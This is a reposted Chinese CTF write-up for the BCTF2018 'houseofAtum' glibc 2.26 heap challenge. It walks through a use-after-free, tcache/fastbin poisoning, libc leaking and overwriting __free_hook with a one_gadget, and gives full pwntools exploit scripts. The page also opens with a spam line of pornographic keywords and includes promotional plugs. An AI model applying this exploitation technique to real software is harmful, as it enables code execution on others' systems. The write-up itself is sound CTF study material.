日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【CTF解题】BCTF2018-houseofatum-Writeup题解

發(fā)布時(shí)間:2025/3/21 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【CTF解题】BCTF2018-houseofatum-Writeup题解 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.


先把ld和Libc給換成題目給的

patchelf --set-interpreter ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/ld-2.26.so --replace-needed ./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6 ./glibc-all-in-one/libs/2.26- 0ubuntu2_amd64/libc-2.26.so houseofAtum

程序分析

這里只進(jìn)行一些簡(jiǎn)單的分析,其他的博客分析的很詳細(xì)了

bigeast@ubuntu:~/Desktop/ctf$ ./houseofAtum 1. new 2. edit 3. delete 4. show int __cdecl __noreturn main(int argc, const char **argv, const char **envp) {int v3; // eaxinitialize(argc, argv, envp);while ( 1 ){while ( 1 ){while ( 1 ){v3 = menu();if ( v3 != 2 )break;edit();}if ( v3 > 2 )break;if ( v3 != 1 )goto LABEL_13;alloc();}if ( v3 == 3 ){del();}else{if ( v3 != 4 ) LABEL_13:exit(0);show();}} } int alloc() {int i; // [rsp+Ch] [rbp-4h]for ( i = 0; i <= 1 && notes[i]; ++i );if ( i == 2 )return puts("Too many notes!");printf("Input the content:");notes[i] = malloc(0x48uLL);readn(notes[i], 72LL);return puts("Done!"); }

這里ull表示無(wú)符號(hào)長(zhǎng)整形,ll表示長(zhǎng)整型,就是8字節(jié)。
這里72=0x48,72LL表示用8字節(jié)來(lái)存儲(chǔ)72。沒有在字符串末尾添加/x00,而且沒有初始化,可能存在泄漏。利用visit或者show函數(shù)打印的時(shí)候就能泄漏了。

unsigned __int64 del() {int v1; // [rsp+0h] [rbp-10h]char v2[2]; // [rsp+6h] [rbp-Ah] BYREFunsigned __int64 v3; // [rsp+8h] [rbp-8h]v3 = __readfsqword(0x28u);printf("Input the idx:");v1 = getint();if ( v1 >= 0 && v1 <= 1 && notes[v1] ){free((void *)notes[v1]);printf("Clear?(y/n):");readn(v2, 2uLL);if ( v2[0] == 121 )notes[v1] = 0LL;puts("Done!");}else{puts("No such note!");}return __readfsqword(0x28u) ^ v3; }

當(dāng)clear選擇n的時(shí)候,不會(huì)清空note數(shù)組的指針,而edit和show都是通過(guò)這個(gè)來(lái)判斷一個(gè)note是否存在。

漏洞利用的參考程序

參考鏈接,https://changochen.github.io/2018-11-26-bctf-2018.html
受上文的啟發(fā),雖然他的圖畫錯(cuò)了(頭節(jié)點(diǎn)不應(yīng)該指向其fd而應(yīng)該指向chunk頭)

實(shí)驗(yàn)該參考程序過(guò)程發(fā)現(xiàn)了一個(gè)小現(xiàn)象:

當(dāng)malloc(0x20),分配的chunk的size為0x21
當(dāng)malloc(0x28),分配的chunk的size為0x21
當(dāng)malloc(0x29),分配的chunk的size為0x41
0x20=32字節(jié),是分配一個(gè)chunk的最小空間=presize+size+fd+bk=32字節(jié)。size后面多1表示上一個(gè)chunk的狀態(tài)??梢钥吹疆?dāng)malloc(28),顯示的size仍然為0x21,肯定是和后一個(gè)chunk的presize復(fù)用了。

#include <unistd.h> #include <stdlib.h> #include <malloc.h> void main(){ void *a = malloc(0x28); void *b = malloc(0x28); // fill the tcache for(int i=0; i<7 ;i++){free(a); } sleep(0); free(b);//fast bin//What will happen with this: free(a);// fast bin }

free b后:

pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x251Free chunk (tcache) | PREV_INUSE Addr: 0x555555757250 Size: 0x31 fd: 0x555555757260Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757280 Size: 0x31 fd: 0x00Top chunk | PREV_INUSE Addr: 0x5555557572b0 Size: 0x20d51pwndbg> bins tcachebins 0x30 [ 7]: 0x555555757260 ?— 0x555555757260 /* '`ruUUU' */ fastbins 0x20: 0x0 0x30: 0x555555757280 ?— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

free a之后:
發(fā)現(xiàn) a也進(jìn)了fast bin里面,而且其fd指向了b的presize字段。這樣我們就可以通過(guò)malloc從tcache bin里得到a的fd,從而修改b的presize,甚至presize后面的size等內(nèi)容【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555757000 Size: 0x251Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757250 Size: 0x31 fd: 0x555555757280Free chunk (fastbins) | PREV_INUSE Addr: 0x555555757280 Size: 0x31 fd: 0x00Top chunk | PREV_INUSE Addr: 0x5555557572b0 Size: 0x20d51pwndbg> bins tcachebins 0x30 [ 7]: 0x555555757260 —? 0x555555757280 ?— 0x0 fastbins 0x20: 0x0 0x30: 0x555555757250 —? 0x555555757280 ?— 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty

漏洞利用思路

我們的目標(biāo)是最終執(zhí)行system(’/bin/sh’),而且是通過(guò)堆來(lái)完成。在《HITB CTF 2018 gundam》中,我們通過(guò)動(dòng)態(tài)獲得libc基地址,進(jìn)而計(jì)算出_free_hook地址和system地址,想方設(shè)法在_free_hook地址處寫入system地址,再創(chuàng)建1個(gè)內(nèi)容為’/bin/sh’的chunk,然后釋放,就可以觸發(fā)_free_hook,最終執(zhí)行system(’/bin/sh’)。這道題同樣可以采取這種思路。1.要?jiǎng)討B(tài)獲得libc基地址,就要用到unsorted bin,在tcache的count為7的情況下,將符合unsorted bin大小的chunk釋放到unsorted bin中。該chunk前向指針fd和后向指針bk的值就是要泄露的地址(詳細(xì)分析見上一篇《HITB CTF 2018 gundam分析》)。

2.題目中創(chuàng)建的house of Atum chunk的大小為0x51。顯然,這樣chunk釋放后只能進(jìn)入tcache bin和fast bin,要想使其進(jìn)入unsorted bin,就得改變指定chunk的大小。

3.要在_free_hook地址處寫入system地址,就得構(gòu)建1個(gè)以_free_hook地址為數(shù)據(jù)區(qū)地址的chunk,即_free_hook-0x10為起始地址的chunk,以system地址作為內(nèi)容參數(shù)。
以下分析和調(diào)試過(guò)程基于以上3點(diǎn)考慮,通過(guò)對(duì)堆塊chunk的靈活操作,成功執(zhí)行獲得shell。

泄露Chunk的fd地址

連續(xù)釋放同一個(gè)chunk7次后,此時(shí)通過(guò)show即可獲得chunk 0的fd的地址,書本中記為heap_addr -------- tcachebin[7] -> chunk 0.fd <- chunk 0.fd fastbin[] :null --------

偽造chunk

動(dòng)態(tài)獲得了heap_addr,即chunk0的next指針,后面該如何利用?
根據(jù)前面分析,要獲得libc的基地址,就要改變chunk0的大小為0x91。chunk0的size域位于chunk0頭部16個(gè)字節(jié)的后半部分中,可以考慮創(chuàng)建1個(gè)以chunk0-0x10為起始地址的chunk1,將chunk0的新的size值(0x91)作為chunk1的內(nèi)容。要從tcachebin中分配chunk1時(shí),前提是chunk1在tcachebin中,有兩種方式可以使chunk1(chunk0-0x10為起始地址)進(jìn)入tcachebin:一種是構(gòu)造tcache bin的double free 然后構(gòu)造chunk0-0x10為起始地址的fake chunk,另一種是將chunk1鏈接到fastbin中某個(gè)chunk后面,這樣當(dāng)chunk被從fastbin中分配時(shí),其后面的chunk1就會(huì)被移到tcache中。我們首先分析第一種方法:
因?yàn)轭}目限制只能創(chuàng)建2個(gè)chunk,所以構(gòu)造了faka chunk后,已經(jīng)創(chuàng)建了2個(gè)chunK了,此時(shí)這兩個(gè)chunk都是指向chunk 0的,無(wú)論釋放哪一個(gè),都會(huì)導(dǎo)致faka chunk丟失。
如下,兩個(gè)已經(jīng)創(chuàng)建的chunk都是指向0x5616cec43260的,無(wú)論釋放哪一個(gè)都會(huì)導(dǎo)致fake chunk 0x5616cec43250的丟失。
所以本題用了兩次把fastbin中的fake chunk轉(zhuǎn)移到tcache bin

泄露libc地址

連續(xù)釋放chunk0 7次,將會(huì)使chunk0進(jìn)入0x90大小的tcachebin中,再釋放1次,chunk0將會(huì)進(jìn)入unsortedbin。就可以按像gundam那樣泄漏glibc地址,就是先

分析tcache的結(jié)構(gòu)體是位于堆的低地址的最開頭,也是一個(gè)chunk。

為什么創(chuàng)建的是0x50大小的Chunk,而不是0x48?

我們看到代碼中是malloc(0x48),0x48是userdata的大小,還需要加上presize和size的大小,也就是0x48+0x10=0x58,然后由于該chunk被使用,所以會(huì)占用下一個(gè)chunk的presize字段,所以0x58-0x8=0x50。所以每次只用分配0x50大小的chunk.

帶詳細(xì)注釋的代碼

from pwn import *io = process('./houseofAtum') libc = ELF('././glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so') context.log_level='debug' def new(cont):io.sendlineafter('choice:','1')io.sendafter("content:",cont)def edit(idx,cont):io.sendlineafter('choice:','2')io.sendlineafter('idx:',str(idx))io.sendafter("content:",cont)def delete(idx,x):io.sendlineafter('choice:','3')io.sendlineafter('idx:',str(idx))io.sendlineafter('(y/n):',x)def show(idx):io.sendlineafter('choice:','4')io.sendlineafter('idx:',str(idx))def leak_heap():global heap_addrnew('A') 初始chunk 0,記住這是初始的chunk0空間,后面會(huì)反復(fù)用到這個(gè)空間。new(p64(0)*7 + p64(0x11)) # 為什么分配兩個(gè)0x50的chunk? 因?yàn)閠cache bin和fast# bin都不會(huì)清除preuse,所以在后面將0x90大小的fake chunk放入unsorted# bin時(shí)會(huì)檢查下一個(gè)chunk的preuse位置,若為0則會(huì)報(bào)錯(cuò),所以這里一定要在56個(gè)字節(jié)之后構(gòu)造一個(gè)0x11delete(1,'y') #構(gòu)造完就沒用了,可以刪掉了for i in range(6): #構(gòu)造double free填滿tcache bindelete(0,'n')show(0)io.recvuntil("Content:")heap_addr = u64(io.recv(6).ljust(8,'\x00'))#輸出自己的user data的地址log.info("heap_addr: 0x%x" % heap_addr)def leak_libc():global libc_basedelete(0,'y') #指向初始chunk0的空間,# 輸出完heap_addr也沒用了,所以要?jiǎng)h掉,會(huì)被放進(jìn)fastbin。# 此時(shí)由于最后一個(gè)進(jìn)入fastbin的chunk的fd會(huì)被清0,# 所以tcachebin的next指針會(huì)被清0。# 此時(shí),# tcache bin[7]:chunk 0.fd -> 0# fasbin:chunk 0.presize -> 0# 為什么在這之后不再直接free一個(gè)chunk 0直接修改chunk 0的size呢,# 再free一個(gè)chunk 0它會(huì)進(jìn)入fastbin,# 會(huì)被fastbin檢測(cè)出double free,# 上面的參考程序要修改的chunk是另外的chunk,不能是double free的chunk。# 所以行不通。# 所以要間接的修改size。new(p64(heap_addr-0x20))# 此時(shí)得到chunk0指向 初始的chunk0,并且改變了chunk 0的fd ,# 此時(shí),# tcache bin[6]:0# fasbin:chunk 0.presize -> chunk0.presize-0x10 -> 0 ,# 這里修改后# 在分配內(nèi)存的時(shí)候不會(huì)有任何檢查其頭部?# 分配的時(shí)候fastbin會(huì)檢查頭部是否符合當(dāng)前fastbin的大小,# 但是我們這個(gè)chunk我們不會(huì)當(dāng)它在fastBin的時(shí)候就分配它。# 后面我們會(huì)先把它轉(zhuǎn)移到tcachebin,而轉(zhuǎn)移到tcache bin的過(guò)程貌似不會(huì)檢查其Size,# 而在tcache bin的時(shí)候再分配它出去,tcache bin不會(huì)檢查其頭部大小# 同時(shí),還發(fā)現(xiàn)entries指針被清空居然不和counts做檢查!!!new('A') #此時(shí)得到chunk1指向 初始的chunk 0,# 由于tcache的entries指針已經(jīng)被清空,堆塊會(huì)從fastbin取出。# 剩下的堆塊會(huì)被整理到tcache,# 于是fd指針的地址(chunk0.presize-0x10)會(huì)被寫入tcache entries,同時(shí)counts加1等于7# 此時(shí),# tcache bin[7]:chunk0.presize-0x10 -> 0# fasbin:0,# 這一步就是為了把fastbin里面的指向chunk0的presize-0x10的chunk放入tcache bin# 小發(fā)現(xiàn):把fastbin剩余的chunk放入tcache bin會(huì)導(dǎo)致tcache bin的count數(shù)量改變。delete(1,'y') # 上面的工作完成后這個(gè)Chunk就沒用了,釋放掉,進(jìn)入fastbin。#此時(shí)# tcache bin[7]:chunk0.presize-0x10 -> 0# fasbin: chunk0.presizenew(p64(0)+p64(0x91)) ##指向初始的chunk.presize-0x10的空間,# 此時(shí)拿到了fake chunk,fake chunk的user data指向初始chunk 0 的presize# 此時(shí),# tcache bin 0x50 [6]: 0# fasbin 0x50 : chunk0.presize# 此時(shí)初始的chunk 0的size已經(jīng)被修改了。變成了0x91,即大小為0x90。for i in range(7):delete(0,'n') #指向初始的chunk0的空間# 此時(shí)會(huì)填滿tcache 為0x90的bin,并且會(huì)改寫0x50的fast bin。# 即此時(shí)# tcache 0x50 bin[6]: 0# tcache 0x90 #bin[7]:chunk0.fd->chunk0.fd# fasbin 0x50: chunk0.presize->chunk0.fd ,delete(0,'y') #指向初始的chunk0的空間# 此時(shí)進(jìn)入U(xiǎn)nsorte bin.# 此時(shí) ,# tcache 0x50 bin[6]: 0 ,# tcache 0x90 bin[7]:chunk0.fd-> main_arena+88# fasbin 0x50 : chunk0.presize -> main_arena+88# unsorte bin:chunk0.presize -> main_arena+88edit(1,'A'*0x10)# 此時(shí)會(huì)修改初始chunk0.presize-0x10的usedata,即會(huì)修改chunk0的presize和size字段# 這樣后面打印的話方便找到打印的地址在哪。# 因?yàn)閏hunk0 已經(jīng)被完全刪掉了,# 或者之前不完成刪掉打印完再刪掉也行,反正現(xiàn)在只剩chunk1了show(1)io.recvuntil('A'*0x10)libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3abc78log.info("libc base:0x%x" % libc_base)debug(1)def pwn():one_gadget = libc_base + 0xdd752free_hook = libc_base + libc.symbols['__free_hook']edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))# 修改了初始的Chunk0大小為0x50,為什么要改回來(lái)?# 因?yàn)楹竺嬉獜膄astbin中new一個(gè)chunk0了,# fastbin會(huì)檢查size釋放應(yīng)該在此fastbin中。# 修改了初始的chunk0的fd為free_hook-0x10# 此時(shí) ,# tcache 0x50 bin[6]: 0 ,# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize -> free_hook-0x10# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88new('A') chunk0 ,因?yàn)檫@里要new 所以前面必須把chunk0 改回0x50大小# 指向初始chun0空間# 這里的作用是把free hook放進(jìn)tcache bin 0x50# 此時(shí) ,# tcache 0x50 bin[7]: free_hook# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 :# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88delete(0,'y')# 回收chunk0,沒用了?;厥者M(jìn)fast bin 0x50# 此時(shí) ,# tcache 0x50 bin[7]: free_hook# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88new(p64(one_gadget)) #chunk0# 取出free hook的空間,然后修改# 此時(shí) ,# tcache 0x50 bin[7]: 0# tcache 0x90 bin[7]:chunk0.fd-> free_hook-0x10# fasbin 0x50 : chunk0.presize# unsorte bin:chunk0.presize 的fd -> free_hook-0x10 ,chunk0.presize 的bk -> main_arena+88io.sendlineafter("choice:",'3')io.sendlineafter(":",'0')io.interactive() def debug(id):log.info('check point %d' % id)gdb.attach(io)pause() if __name__=='__main__':leak_heap()leak_libc()

可直接運(yùn)行的代碼

網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

from pwn import *io = process('./houseofAtum') libc = ELF('./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so') context.log_level='debug' def new(cont):io.sendlineafter('choice:','1')io.sendafter("content:",cont)def edit(idx,cont):io.sendlineafter('choice:','2')io.sendlineafter('idx:',str(idx))io.sendafter("content:",cont)def delete(idx,x):io.sendlineafter('choice:','3')io.sendlineafter('idx:',str(idx))io.sendlineafter('(y/n):',x)def show(idx):io.sendlineafter('choice:','4')io.sendlineafter('idx:',str(idx))def leak_heap():global heap_addrnew('A')# chunk 0#debug(1)new(p64(0)*7 + p64(0x11)) #chunk 1#debug(2)delete(1,'y') #delete chunk 1#debug(3)for i in range(6):delete(0,'n')#debug(4)show(0)io.recvuntil("Content:")heap_addr = u64(io.recv(6).ljust(8,'\x00'))log.info("heap_addr: 0x%x" % heap_addr)#new(p64(heap_addr-0x10)) #chunk 1 fake chunk#debug(1)#delete(1,'y') # delete chunk 1#debug(2)def leak_libc():global libc_basedelete(0,'y') #fastbin#debug(0)new(p64(heap_addr-0x20)) #tcache bin get and fast bin add fake chunk#debug(1)new('A') # fastbin get and fastbin fake chunk put to tcache bin#debug(2)delete(1,'y') # put to fastbinnew(p64(0)+p64(0x91)) #fake sizefor i in range(7):delete(0,'n')#debug(1)delete(0,'y')#debug(2)edit(1,'A'*0x10)#debug(2)show(1)io.recvuntil('A'*0x10)libc_base = u64(io.recv(6).ljust(8,'\x00'))-0x3dac78log.info("libc base:0x%x" % libc_base)#debug(1) def pwn():one_gadget = libc_base + 0xfcc6efree_hook = libc_base + libc.symbols['__free_hook']edit(1,p64(0)+p64(0x51)+p64(free_hook-0x10))#debug(1)new('A')#debug(1)delete(0,'y')#debug(2)new(p64(one_gadget))#debug(3)io.sendlineafter("choice:",'3')io.sendlineafter(":",'0')io.interactive() def debug(id):log.info('check point %d' % id)gdb.attach(io)pause() if __name__=='__main__':leak_heap()leak_libc()pwn()

新發(fā)現(xiàn):不同Libc的unsorte bin在main_arena的偏移不同,Libc2.26是88,Libc2.27是96.

總結(jié)

gundam和houseofAtum這兩道題都是利用了LIBC2.26中tcache bin可以double free的特點(diǎn)。

gundam:
由于每次build的chunk大于0x90,所以可以重復(fù)釋放8次同一個(gè)chunk,然后在unsortebin中泄漏libc地址。然后,直接在tcache中構(gòu)造double free然后把free_hook作為fake chunk鏈接到tcache bin中,然后修改free hook。

houseofAtum:
由于每次build的chunk只有0x50大小,不能被放入unsorted bin,導(dǎo)致無(wú)法泄漏Libc地址。所以首先要考慮修改chunk的大小,要修改chunk的大小,只能通過(guò)構(gòu)造fake chunk來(lái)修改。而由于限制只能new 2個(gè)chunk,所以不能直接在tcache bin中構(gòu)造double free來(lái)鏈接fake chunk(這點(diǎn)已經(jīng)在上面分析過(guò)了),所以只能通過(guò)把fastbin中的fake chunk移入tcache bin中來(lái)構(gòu)造fake chunk。
構(gòu)造完fake chunk后就能修改chunk的大小,從而放入U(xiǎn)nsorted bin中泄漏libc地址。泄漏完Libc地址后,又要構(gòu)造fake chunk來(lái)修改free_hook,構(gòu)造方法同上,也是要在fast bin中構(gòu)建完后移入tcache bin。

one-gadget安裝

sudo apt -y install ruby
sudo gem install one_gadget
需要滿足一些條件,
比如: [rsp+0x30] == NULL

bigeast@ubuntu:~/Desktop/ctf$ one_gadget ./glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc-2.26.so 0x47c46 execve("/bin/sh", rsp+0x30, environ) constraints:rax == NULL0x47c9a execve("/bin/sh", rsp+0x30, environ) constraints:[rsp+0x30] == NULL0xfcc6e execve("/bin/sh", rsp+0x40, environ) constraints:[rsp+0x40] == NULL0xfdb1e execve("/bin/sh", rsp+0x70, environ) constraints:[rsp+0x70] == NULL

知識(shí)點(diǎn)的復(fù)習(xí)

通過(guò)這道題又復(fù)習(xí)和捋清楚了一些bin的存儲(chǔ)方式:
主線程的Main_arena保存在libc.so的數(shù)據(jù)的里,其中包括了fastbinsY和bins。
fastbin和Unsortedbin 是后進(jìn)先出,其他bins是先進(jìn)先出。
fastbin只用到fd指針,后進(jìn)來(lái)的chunk放在鏈表頭。fd指向上一個(gè)進(jìn)來(lái)鏈表的節(jié)點(diǎn)。第一個(gè)進(jìn)來(lái)的chunk的fd指向的是特殊的“0”,代表前面沒有chunk。
而且fastbin里面的chunk不會(huì)進(jìn)行合并操作,只有當(dāng)調(diào)用malloc_consolidate()的含時(shí)候才會(huì)取出來(lái)與相鄰的freechunk合并,所以fast bin的chunk的下一個(gè)chunk的PRV INUSE始終為1,處于使用狀態(tài)。

最后

想學(xué)網(wǎng)絡(luò)安全打CTF的同學(xué)可以關(guān)注私我

獲取2021最新【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

《新程序員》:云原生和全面數(shù)字化實(shí)踐50位技術(shù)專家共同創(chuàng)作,文字、視頻、音頻交互閱讀

總結(jié)

以上是生活随笔為你收集整理的【CTF解题】BCTF2018-houseofatum-Writeup题解的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。